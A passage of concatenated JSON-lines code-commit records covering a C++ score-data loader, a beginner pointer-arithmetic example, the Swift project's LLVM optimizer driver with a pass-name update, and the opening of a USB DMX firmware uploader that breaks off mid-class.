std::ofstream outFile(file.c_str(), std::ios::out);\n\n  ScoreStats entry;\n\n  save(outFile, bin);\n\n  outFile.close();\n}\n\nvoid ScoreData::load(ifstream& inFile)\n{\n  ScoreArray entry;\n\n  while (!inFile.eof()) {\n\n    if (!inFile.good()) {\n      std::cerr << \"ERROR ScoreData::load inFile.good()\" << std::endl;\n    }\n\n    entry.clear();\n    entry.load(inFile);\n\n    if (entry.size() == 0) {\n      break;\n    }\n    add(entry);\n  }\n}\n\n\nvoid ScoreData::load(const std::string &file)\n{\n  TRACE_ERR(\"loading score data from \" << file << std::endl);\n\n  inputfilestream inFile(file); \/\/ matches a stream with a file. Opens the file\n\n  if (!inFile) {\n    throw runtime_error(\"Unable to open score file: \" + file);\n  }\n\n  load((ifstream&) inFile);\n\n  inFile.close();\n}\n\n\nvoid ScoreData::add(ScoreArray& e)\n{\n  if (exists(e.getIndex())) { \/\/ array at position e.getIndex() already exists\n    \/\/enlarge array at position e.getIndex()\n    size_t pos = getIndex(e.getIndex());\n    array_.at(pos).merge(e);\n  } else {\n    array_.push_back(e);\n    setIndex();\n  }\n}\n\nvoid ScoreData::add(const ScoreStats& e, const std::string& sent_idx)\n{\n  if (exists(sent_idx)) { \/\/ array at position e.getIndex() already exists\n    \/\/ Enlarge array at position e.getIndex()\n    size_t pos = getIndex(sent_idx);\n    \/\/          TRACE_ERR(\"Inserting in array \" << sent_idx << std::endl);\n    array_.at(pos).add(e);\n    \/\/          TRACE_ERR(\"size: \" << size() << \" -> \" << a.size() << std::endl);\n  } else {\n    \/\/          TRACE_ERR(\"Creating a new entry in the array\" << std::endl);\n    ScoreArray a;\n    a.NumberOfScores(number_of_scores);\n    a.add(e);\n    a.setIndex(sent_idx);\n    size_t idx = array_.size();\n    array_.push_back(a);\n    idx2arrayname_[idx] = sent_idx;\n    arrayname2idx_[sent_idx]=idx;\n    \/\/          TRACE_ERR(\"size: \" << size() << \" -> \" << a.size() << std::endl);\n  }\n}\n\nbool ScoreData::check_consistency() const\n{\n  if (array_.size() == 0)\n    return true;\n\n  for (scoredata_t::const_iterator i = array_.begin(); i != array_.end(); ++i)\n    if (!i->check_consistency()) return false;\n\n  return true;\n}\n\nvoid ScoreData::setIndex()\n{\n  size_t j=0;\n  for (scoredata_t::iterator i = array_.begin(); i !=array_.end(); i++) {\n    idx2arrayname_[j]=i->getIndex();\n    arrayname2idx_[i->getIndex()]=j;\n    j++;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\nusing namespace std;\n\nint main(){\n\tint x = 4;\n\tint y = 5;\n\tint *a = &x;\n\tint *b = &y;\n\t\n\tcout << \"*a = \" << *a << endl\n\t\t << \"*b = \" << *b << endl;\n\t\t \n\t*a = *a + *b;\n\t*b = *b**b;\n\t\n\tcout << \"*a now = \" << *a << endl\n\t\t << \"*b now = \" << *b << endl;\n\t\n\treturn 0;\n}\n\n<commit_msg>Update S7_Pointer_Operations.cpp<commit_after>\/\/\n\/\/  Program Name - S7_Pointer_Operations.cpp\n\/\/  Series: GetOnToC++ Step: 7\n\/\/\n\/\/  Purpose: This program illustrates how to use arithmetic operations on pointers\n\/\/\n\/\/  Compile: g++ S7_Pointer_Operations.cpp -o S7_Pointer_Operations\n\/\/  Execute: .\/S7_Pointer_Operations\n\/\/\n\/\/  Created by Narayan Mahadevan on 18\/08\/13.\n\/\/ \n#include <iostream>\nusing namespace std;\n\nint main(){\n\tint x = 4;\n\tint y = 5;\n\tint *a = &x;\n\tint *b = &y;\n\t\n\tcout << \"*a = \" << *a << endl\n\t\t << \"*b = \" << *b << endl;\n\t\t \n\t*a = *a + *b;\n\t*b = *b**b;\n\t\n\tcout << \"*a now = \" << *a << endl\n\t\t << \"*b now = \" << *b << endl;\n\t\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/===--- LLVMOpt.cpp ------------------------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/\n\/\/\/ This is a simple reimplementation of opt that includes support for Swift-\n\/\/\/ specific LLVM passes. It is meant to make it easier to handle issues related\n\/\/\/ to transitioning to the new LLVM pass manager (which lacks the dynamism of\n\/\/\/ the old pass manager) and also problems during the code base transition to\n\/\/\/ that pass manager. Additionally it will enable a user to exactly simulate\n\/\/\/ Swift's LLVM pass pipeline by using the same pass pipeline building\n\/\/\/ machinery in IRGen, something not possible with opt.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/Subsystems.h\"\n#include \"swift\/Basic\/LLVMInitialize.h\"\n#include \"swift\/AST\/IRGenOptions.h\"\n#include \"swift\/LLVMPasses\/PassesFwd.h\"\n#include \"swift\/LLVMPasses\/Passes.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/ADT\/Triple.h\"\n#include \"llvm\/Analysis\/CallGraph.h\"\n#include \"llvm\/Analysis\/CallGraphSCCPass.h\"\n#include \"llvm\/Analysis\/LoopPass.h\"\n#include \"llvm\/Analysis\/RegionPass.h\"\n#include \"llvm\/Analysis\/TargetLibraryInfo.h\"\n#include \"llvm\/Analysis\/TargetTransformInfo.h\"\n#include \"llvm\/Bitcode\/BitcodeWriterPass.h\"\n#include \"llvm\/CodeGen\/CommandFlags.h\"\n#include \"llvm\/CodeGen\/TargetPassConfig.h\"\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/DebugInfo.h\"\n#include \"llvm\/IR\/IRPrintingPasses.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/IR\/LegacyPassNameParser.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/InitializePasses.h\"\n#include \"llvm\/LinkAllIR.h\"\n#include \"llvm\/LinkAllPasses.h\"\n#include \"llvm\/MC\/SubtargetFeature.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/PluginLoader.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/SystemUtils.h\"\n#include \"llvm\/Support\/TargetRegistry.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/ToolOutputFile.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n\nusing namespace swift;\n\nstatic llvm::codegen::RegisterCodeGenFlags CGF;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                            Option Declarations\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ The OptimizationList is automatically populated with registered passes by the\n\/\/ PassNameParser.\n\/\/\nstatic llvm::cl::list<const llvm::PassInfo *, bool, llvm::PassNameParser>\n    PassList(llvm::cl::desc(\"Optimizations available:\"));\n\nstatic llvm::cl::opt<bool>\n    Optimized(\"O\", llvm::cl::desc(\"Optimization level O. Similar to swift -O\"));\n\n\/\/ TODO: I wanted to call this 'verify', but some other pass is using this\n\/\/ option.\nstatic llvm::cl::opt<bool> VerifyEach(\n    \"verify-each\",\n    llvm::cl::desc(\"Should we spend time verifying that the IR is well \"\n                   \"formed\"));\n\nstatic llvm::cl::opt<std::string>\n    TargetTriple(\"mtriple\",\n                 llvm::cl::desc(\"Override target triple for module\"));\n\nstatic llvm::cl::opt<bool>\n    PrintStats(\"print-stats\",\n               llvm::cl::desc(\"Should LLVM Statistics be printed\"));\n\nstatic llvm::cl::opt<std::string> InputFilename(llvm::cl::Positional,\n                                          llvm::cl::desc(\"<input file>\"),\n                                          llvm::cl::init(\"-\"),\n                                          llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string>\n    OutputFilename(\"o\", llvm::cl::desc(\"Override output filename\"),\n                   llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string> DefaultDataLayout(\n    \"default-data-layout\",\n    llvm::cl::desc(\"data layout string to use if not specified by module\"),\n    llvm::cl::value_desc(\"layout-string\"), llvm::cl::init(\"\"));\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                               Helper Methods\n\/\/===----------------------------------------------------------------------===\/\/\n\nstatic llvm::CodeGenOpt::Level GetCodeGenOptLevel() {\n  \/\/ TODO: Is this the right thing to do here?\n  if (Optimized)\n    return llvm::CodeGenOpt::Default;\n  return llvm::CodeGenOpt::None;\n}\n\n\/\/ Returns the TargetMachine instance or zero if no triple is provided.\nstatic llvm::TargetMachine *\ngetTargetMachine(llvm::Triple TheTriple, StringRef CPUStr,\n                 StringRef FeaturesStr, const llvm::TargetOptions &Options) {\n  std::string Error;\n  const auto *TheTarget = llvm::TargetRegistry::lookupTarget(\n      llvm::codegen::getMArch(), TheTriple, Error);\n  \/\/ Some modules don't specify a triple, and this is okay.\n  if (!TheTarget) {\n    return nullptr;\n  }\n\n  return TheTarget->createTargetMachine(\n      TheTriple.getTriple(), CPUStr, FeaturesStr, Options,\n      Optional<llvm::Reloc::Model>(llvm::codegen::getExplicitRelocModel()),\n      llvm::codegen::getExplicitCodeModel(), GetCodeGenOptLevel());\n}\n\nstatic void dumpOutput(llvm::Module &M, llvm::raw_ostream &os) {\n  \/\/ For now just always dump assembly.\n  llvm::legacy::PassManager EmitPasses;\n  EmitPasses.add(createPrintModulePass(os));\n  EmitPasses.run(M);\n}\n\n\/\/ This function isn't referenced outside its translation unit, but it\n\/\/ can't use the \"static\" keyword because its address is used for\n\/\/ getMainExecutable (since some platforms don't support taking the\n\/\/ address of main, and some platforms can't implement getMainExecutable\n\/\/ without being given the address of a function in the main executable).\nvoid anchorForGetMainExecutable() {}\n\nstatic inline void addPass(llvm::legacy::PassManagerBase &PM, llvm::Pass *P) {\n  \/\/ Add the pass to the pass manager...\n  PM.add(P);\n  if (P->getPassID() == &SwiftAAWrapperPass::ID) {\n    PM.add(llvm::createExternalAAWrapperPass([](llvm::Pass &P, llvm::Function &,\n                                                llvm::AAResults &AAR) {\n      if (auto *WrapperPass = P.getAnalysisIfAvailable<SwiftAAWrapperPass>())\n        AAR.addAAResult(WrapperPass->getResult());\n    }));\n  }\n\n  \/\/ If we are verifying all of the intermediate steps, add the verifier...\n  if (VerifyEach)\n    PM.add(llvm::createVerifierPass());\n}\n\nstatic void runSpecificPasses(StringRef Binary, llvm::Module *M,\n                              llvm::TargetMachine *TM,\n                              llvm::Triple &ModuleTriple) {\n  llvm::legacy::PassManager Passes;\n  llvm::TargetLibraryInfoImpl TLII(ModuleTriple);\n  Passes.add(new llvm::TargetLibraryInfoWrapperPass(TLII));\n\n  const llvm::DataLayout &DL = M->getDataLayout();\n  if (DL.isDefault() && !DefaultDataLayout.empty()) {\n    M->setDataLayout(DefaultDataLayout);\n  }\n\n  \/\/ Add internal analysis passes from the target machine.\n  Passes.add(createTargetTransformInfoWrapperPass(\n      TM ? TM->getTargetIRAnalysis() : llvm::TargetIRAnalysis()));\n\n  if (TM) {\n    \/\/ FIXME: We should dyn_cast this when supported.\n    auto &LTM = static_cast<llvm::LLVMTargetMachine &>(*TM);\n    llvm::Pass *TPC = LTM.createPassConfig(Passes);\n    Passes.add(TPC);\n  }\n\n  for (const llvm::PassInfo *PassInfo : PassList) {\n    llvm::Pass *P = nullptr;\n    if (PassInfo->getNormalCtor())\n      P = PassInfo->getNormalCtor()();\n    else\n      llvm::errs() << Binary\n                   << \": cannot create pass: \" << PassInfo->getPassName()\n                   << \"\\n\";\n    if (P) {\n      addPass(Passes, P);\n    }\n  }\n\n  \/\/ Do it.\n  Passes.run(*M);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                            Main Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nint main(int argc, char **argv) {\n  PROGRAM_START(argc, argv);\n  INITIALIZE_LLVM();\n\n  \/\/ Initialize passes\n  llvm::PassRegistry &Registry = *llvm::PassRegistry::getPassRegistry();\n  initializeCore(Registry);\n  initializeScalarOpts(Registry);\n  initializeObjCARCOpts(Registry);\n  initializeVectorization(Registry);\n  initializeIPO(Registry);\n  initializeAnalysis(Registry);\n  initializeTransformUtils(Registry);\n  initializeInstCombine(Registry);\n  initializeInstrumentation(Registry);\n  initializeTarget(Registry);\n  \/\/ For codegen passes, only passes that do IR to IR transformation are\n  \/\/ supported.\n  initializeCodeGenPreparePass(Registry);\n  initializeAtomicExpandPass(Registry);\n  initializeRewriteSymbolsLegacyPassPass(Registry);\n  initializeWinEHPreparePass(Registry);\n  initializeDwarfEHPreparePass(Registry);\n  initializeSjLjEHPreparePass(Registry);\n\n  \/\/ Register Swift Only Passes.\n  initializeSwiftAAWrapperPassPass(Registry);\n  initializeSwiftRCIdentityPass(Registry);\n  initializeSwiftARCOptPass(Registry);\n  initializeSwiftARCContractPass(Registry);\n  initializeInlineTreePrinterPass(Registry);\n  initializeSwiftMergeFunctionsPass(Registry);\n\n  llvm::cl::ParseCommandLineOptions(argc, argv, \"Swift LLVM optimizer\\n\");\n\n  if (PrintStats)\n    llvm::EnableStatistics();\n\n  llvm::SMDiagnostic Err;\n\n  \/\/ Load the input module...\n  auto LLVMContext = std::make_unique<llvm::LLVMContext>();\n  std::unique_ptr<llvm::Module> M =\n      parseIRFile(InputFilename, Err, *LLVMContext.get());\n\n  if (!M) {\n    Err.print(argv[0], llvm::errs());\n    return 1;\n  }\n\n  if (verifyModule(*M, &llvm::errs())) {\n    llvm::errs() << argv[0] << \": \" << InputFilename\n           << \": error: input module is broken!\\n\";\n    return 1;\n  }\n\n  \/\/ If we are supposed to override the target triple, do so now.\n  if (!TargetTriple.empty())\n    M->setTargetTriple(llvm::Triple::normalize(TargetTriple));\n\n  \/\/ Figure out what stream we are supposed to write to...\n  std::unique_ptr<llvm::ToolOutputFile> Out;\n  \/\/ Default to standard output.\n  if (OutputFilename.empty())\n    OutputFilename = \"-\";\n\n  std::error_code EC;\n  Out.reset(\n      new llvm::ToolOutputFile(OutputFilename, EC, llvm::sys::fs::F_None));\n  if (EC) {\n    llvm::errs() << EC.message() << '\\n';\n    return 1;\n  }\n\n  llvm::Triple ModuleTriple(M->getTargetTriple());\n  std::string CPUStr, FeaturesStr;\n  llvm::TargetMachine *Machine = nullptr;\n  const llvm::TargetOptions Options =\n      llvm::codegen::InitTargetOptionsFromCodeGenFlags(ModuleTriple);\n\n  if (ModuleTriple.getArch()) {\n    CPUStr = llvm::codegen::getCPUStr();\n    FeaturesStr = llvm::codegen::getFeaturesStr();\n    Machine = getTargetMachine(ModuleTriple, CPUStr, FeaturesStr, Options);\n  }\n\n  std::unique_ptr<llvm::TargetMachine> TM(Machine);\n\n  \/\/ Override function attributes based on CPUStr, FeaturesStr, and command line\n  \/\/ flags.\n  llvm::codegen::setFunctionAttributes(CPUStr, FeaturesStr, *M);\n\n  if (Optimized) {\n    IRGenOptions Opts;\n    Opts.OptMode = OptimizationMode::ForSpeed;\n\n    \/\/ Then perform the optimizations.\n    performLLVMOptimizations(Opts, M.get(), TM.get());\n  } else {\n    runSpecificPasses(argv[0], M.get(), TM.get(), ModuleTriple);\n  }\n\n  \/\/ Finally dump the output.\n  dumpOutput(*M, Out->os());\n\n  return 0;\n}\n<commit_msg>[next] Update reference to initializeDwarfEHPreparePass<commit_after>\/\/===--- LLVMOpt.cpp ------------------------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/\n\/\/\/ This is a simple reimplementation of opt that includes support for Swift-\n\/\/\/ specific LLVM passes. It is meant to make it easier to handle issues related\n\/\/\/ to transitioning to the new LLVM pass manager (which lacks the dynamism of\n\/\/\/ the old pass manager) and also problems during the code base transition to\n\/\/\/ that pass manager. Additionally it will enable a user to exactly simulate\n\/\/\/ Swift's LLVM pass pipeline by using the same pass pipeline building\n\/\/\/ machinery in IRGen, something not possible with opt.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/Subsystems.h\"\n#include \"swift\/Basic\/LLVMInitialize.h\"\n#include \"swift\/AST\/IRGenOptions.h\"\n#include \"swift\/LLVMPasses\/PassesFwd.h\"\n#include \"swift\/LLVMPasses\/Passes.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/ADT\/Triple.h\"\n#include \"llvm\/Analysis\/CallGraph.h\"\n#include \"llvm\/Analysis\/CallGraphSCCPass.h\"\n#include \"llvm\/Analysis\/LoopPass.h\"\n#include \"llvm\/Analysis\/RegionPass.h\"\n#include \"llvm\/Analysis\/TargetLibraryInfo.h\"\n#include \"llvm\/Analysis\/TargetTransformInfo.h\"\n#include \"llvm\/Bitcode\/BitcodeWriterPass.h\"\n#include \"llvm\/CodeGen\/CommandFlags.h\"\n#include \"llvm\/CodeGen\/TargetPassConfig.h\"\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/DebugInfo.h\"\n#include \"llvm\/IR\/IRPrintingPasses.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/IR\/LegacyPassNameParser.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/InitializePasses.h\"\n#include \"llvm\/LinkAllIR.h\"\n#include \"llvm\/LinkAllPasses.h\"\n#include \"llvm\/MC\/SubtargetFeature.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/PluginLoader.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/SystemUtils.h\"\n#include \"llvm\/Support\/TargetRegistry.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/ToolOutputFile.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n\nusing namespace swift;\n\nstatic llvm::codegen::RegisterCodeGenFlags CGF;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                            Option Declarations\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ The OptimizationList is automatically populated with registered passes by the\n\/\/ PassNameParser.\n\/\/\nstatic llvm::cl::list<const llvm::PassInfo *, bool, llvm::PassNameParser>\n    PassList(llvm::cl::desc(\"Optimizations available:\"));\n\nstatic llvm::cl::opt<bool>\n    Optimized(\"O\", llvm::cl::desc(\"Optimization level O. Similar to swift -O\"));\n\n\/\/ TODO: I wanted to call this 'verify', but some other pass is using this\n\/\/ option.\nstatic llvm::cl::opt<bool> VerifyEach(\n    \"verify-each\",\n    llvm::cl::desc(\"Should we spend time verifying that the IR is well \"\n                   \"formed\"));\n\nstatic llvm::cl::opt<std::string>\n    TargetTriple(\"mtriple\",\n                 llvm::cl::desc(\"Override target triple for module\"));\n\nstatic llvm::cl::opt<bool>\n    PrintStats(\"print-stats\",\n               llvm::cl::desc(\"Should LLVM Statistics be printed\"));\n\nstatic llvm::cl::opt<std::string> InputFilename(llvm::cl::Positional,\n                                          llvm::cl::desc(\"<input file>\"),\n                                          llvm::cl::init(\"-\"),\n                                          llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string>\n    OutputFilename(\"o\", llvm::cl::desc(\"Override output filename\"),\n                   llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string> DefaultDataLayout(\n    \"default-data-layout\",\n    llvm::cl::desc(\"data layout string to use if not specified by module\"),\n    llvm::cl::value_desc(\"layout-string\"), llvm::cl::init(\"\"));\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                               Helper Methods\n\/\/===----------------------------------------------------------------------===\/\/\n\nstatic llvm::CodeGenOpt::Level GetCodeGenOptLevel() {\n  \/\/ TODO: Is this the right thing to do here?\n  if (Optimized)\n    return llvm::CodeGenOpt::Default;\n  return llvm::CodeGenOpt::None;\n}\n\n\/\/ Returns the TargetMachine instance or zero if no triple is provided.\nstatic llvm::TargetMachine *\ngetTargetMachine(llvm::Triple TheTriple, StringRef CPUStr,\n                 StringRef FeaturesStr, const llvm::TargetOptions &Options) {\n  std::string Error;\n  const auto *TheTarget = llvm::TargetRegistry::lookupTarget(\n      llvm::codegen::getMArch(), TheTriple, Error);\n  \/\/ Some modules don't specify a triple, and this is okay.\n  if (!TheTarget) {\n    return nullptr;\n  }\n\n  return TheTarget->createTargetMachine(\n      TheTriple.getTriple(), CPUStr, FeaturesStr, Options,\n      Optional<llvm::Reloc::Model>(llvm::codegen::getExplicitRelocModel()),\n      llvm::codegen::getExplicitCodeModel(), GetCodeGenOptLevel());\n}\n\nstatic void dumpOutput(llvm::Module &M, llvm::raw_ostream &os) {\n  \/\/ For now just always dump assembly.\n  llvm::legacy::PassManager EmitPasses;\n  EmitPasses.add(createPrintModulePass(os));\n  EmitPasses.run(M);\n}\n\n\/\/ This function isn't referenced outside its translation unit, but it\n\/\/ can't use the \"static\" keyword because its address is used for\n\/\/ getMainExecutable (since some platforms don't support taking the\n\/\/ address of main, and some platforms can't implement getMainExecutable\n\/\/ without being given the address of a function in the main executable).\nvoid anchorForGetMainExecutable() {}\n\nstatic inline void addPass(llvm::legacy::PassManagerBase &PM, llvm::Pass *P) {\n  \/\/ Add the pass to the pass manager...\n  PM.add(P);\n  if (P->getPassID() == &SwiftAAWrapperPass::ID) {\n    PM.add(llvm::createExternalAAWrapperPass([](llvm::Pass &P, llvm::Function &,\n                                                llvm::AAResults &AAR) {\n      if (auto *WrapperPass = P.getAnalysisIfAvailable<SwiftAAWrapperPass>())\n        AAR.addAAResult(WrapperPass->getResult());\n    }));\n  }\n\n  \/\/ If we are verifying all of the intermediate steps, add the verifier...\n  if (VerifyEach)\n    PM.add(llvm::createVerifierPass());\n}\n\nstatic void runSpecificPasses(StringRef Binary, llvm::Module *M,\n                              llvm::TargetMachine *TM,\n                              llvm::Triple &ModuleTriple) {\n  llvm::legacy::PassManager Passes;\n  llvm::TargetLibraryInfoImpl TLII(ModuleTriple);\n  Passes.add(new llvm::TargetLibraryInfoWrapperPass(TLII));\n\n  const llvm::DataLayout &DL = M->getDataLayout();\n  if (DL.isDefault() && !DefaultDataLayout.empty()) {\n    M->setDataLayout(DefaultDataLayout);\n  }\n\n  \/\/ Add internal analysis passes from the target machine.\n  Passes.add(createTargetTransformInfoWrapperPass(\n      TM ? TM->getTargetIRAnalysis() : llvm::TargetIRAnalysis()));\n\n  if (TM) {\n    \/\/ FIXME: We should dyn_cast this when supported.\n    auto &LTM = static_cast<llvm::LLVMTargetMachine &>(*TM);\n    llvm::Pass *TPC = LTM.createPassConfig(Passes);\n    Passes.add(TPC);\n  }\n\n  for (const llvm::PassInfo *PassInfo : PassList) {\n    llvm::Pass *P = nullptr;\n    if (PassInfo->getNormalCtor())\n      P = PassInfo->getNormalCtor()();\n    else\n      llvm::errs() << Binary\n                   << \": cannot create pass: \" << PassInfo->getPassName()\n                   << \"\\n\";\n    if (P) {\n      addPass(Passes, P);\n    }\n  }\n\n  \/\/ Do it.\n  Passes.run(*M);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                            Main Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nint main(int argc, char **argv) {\n  PROGRAM_START(argc, argv);\n  INITIALIZE_LLVM();\n\n  \/\/ Initialize passes\n  llvm::PassRegistry &Registry = *llvm::PassRegistry::getPassRegistry();\n  initializeCore(Registry);\n  initializeScalarOpts(Registry);\n  initializeObjCARCOpts(Registry);\n  initializeVectorization(Registry);\n  initializeIPO(Registry);\n  initializeAnalysis(Registry);\n  initializeTransformUtils(Registry);\n  initializeInstCombine(Registry);\n  initializeInstrumentation(Registry);\n  initializeTarget(Registry);\n  \/\/ For codegen passes, only passes that do IR to IR transformation are\n  \/\/ supported.\n  initializeCodeGenPreparePass(Registry);\n  initializeAtomicExpandPass(Registry);\n  initializeRewriteSymbolsLegacyPassPass(Registry);\n  initializeWinEHPreparePass(Registry);\n  initializeDwarfEHPrepareLegacyPassPass(Registry);\n  initializeSjLjEHPreparePass(Registry);\n\n  \/\/ Register Swift Only Passes.\n  initializeSwiftAAWrapperPassPass(Registry);\n  initializeSwiftRCIdentityPass(Registry);\n  initializeSwiftARCOptPass(Registry);\n  initializeSwiftARCContractPass(Registry);\n  initializeInlineTreePrinterPass(Registry);\n  initializeSwiftMergeFunctionsPass(Registry);\n\n  llvm::cl::ParseCommandLineOptions(argc, argv, \"Swift LLVM optimizer\\n\");\n\n  if (PrintStats)\n    llvm::EnableStatistics();\n\n  llvm::SMDiagnostic Err;\n\n  \/\/ Load the input module...\n  auto LLVMContext = std::make_unique<llvm::LLVMContext>();\n  std::unique_ptr<llvm::Module> M =\n      parseIRFile(InputFilename, Err, *LLVMContext.get());\n\n  if (!M) {\n    Err.print(argv[0], llvm::errs());\n    return 1;\n  }\n\n  if (verifyModule(*M, &llvm::errs())) {\n    llvm::errs() << argv[0] << \": \" << InputFilename\n           << \": error: input module is broken!\\n\";\n    return 1;\n  }\n\n  \/\/ If we are supposed to override the target triple, do so now.\n  if (!TargetTriple.empty())\n    M->setTargetTriple(llvm::Triple::normalize(TargetTriple));\n\n  \/\/ Figure out what stream we are supposed to write to...\n  std::unique_ptr<llvm::ToolOutputFile> Out;\n  \/\/ Default to standard output.\n  if (OutputFilename.empty())\n    OutputFilename = \"-\";\n\n  std::error_code EC;\n  Out.reset(\n      new llvm::ToolOutputFile(OutputFilename, EC, llvm::sys::fs::F_None));\n  if (EC) {\n    llvm::errs() << EC.message() << '\\n';\n    return 1;\n  }\n\n  llvm::Triple ModuleTriple(M->getTargetTriple());\n  std::string CPUStr, FeaturesStr;\n  llvm::TargetMachine *Machine = nullptr;\n  const llvm::TargetOptions Options =\n      llvm::codegen::InitTargetOptionsFromCodeGenFlags(ModuleTriple);\n\n  if (ModuleTriple.getArch()) {\n    CPUStr = llvm::codegen::getCPUStr();\n    FeaturesStr = llvm::codegen::getFeaturesStr();\n    Machine = getTargetMachine(ModuleTriple, CPUStr, FeaturesStr, Options);\n  }\n\n  std::unique_ptr<llvm::TargetMachine> TM(Machine);\n\n  \/\/ Override function attributes based on CPUStr, FeaturesStr, and command line\n  \/\/ flags.\n  llvm::codegen::setFunctionAttributes(CPUStr, FeaturesStr, *M);\n\n  if (Optimized) {\n    IRGenOptions Opts;\n    Opts.OptMode = OptimizationMode::ForSpeed;\n\n    \/\/ Then perform the optimizations.\n    performLLVMOptimizations(Opts, M.get(), TM.get());\n  } else {\n    runSpecificPasses(argv[0], M.get(), TM.get(), ModuleTriple);\n  }\n\n  \/\/ Finally dump the output.\n  dumpOutput(*M, Out->os());\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * usbpro-firmware.cpp\n * Copyright (C) 2005 Simon Newton\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <getopt.h>\n#include <string.h>\n#include <sysexits.h>\n#include <termios.h>\n#include <ola\/Logging.h>\n#include <ola\/Callback.h>\n#include <ola\/io\/SelectServer.h>\n\n#include <iostream>\n#include <fstream>\n#include <string>\n\n#include \"plugins\/usbpro\/BaseUsbProWidget.h\"\n\nusing std::cout;\nusing std::endl;\nusing std::ifstream;\nusing std::string;\nusing ola::plugin::usbpro::DispatchingUsbProWidget;\nusing ola::io::SelectServer;\n\nstatic const char DEFAULT_DEVICE[] = \"\/dev\/ttyUSB0\";\nstatic const char DEFAULT_FIRMWARE[] = \"main.bin\";\nstatic const int PAUSE_DELAY = 1000;  \/\/ ms before starting upload\nstatic const int ABORT_TIMEOUT = 10 * 1000;  \/\/ ms seconds before aborting\n\ntypedef struct {\n  bool help;\n  ola::log_level log_level;\n  string firmware;\n  string device;\n} options;\n\n\nclass FirmwareTransferer {\n  public:\n    FirmwareTransferer(ifstream *file,\n                       DispatchingUsbProWidget *widget,\n                       SelectServer *ss):\n        m_sucessful(false),\n        m_firmware(file),\n        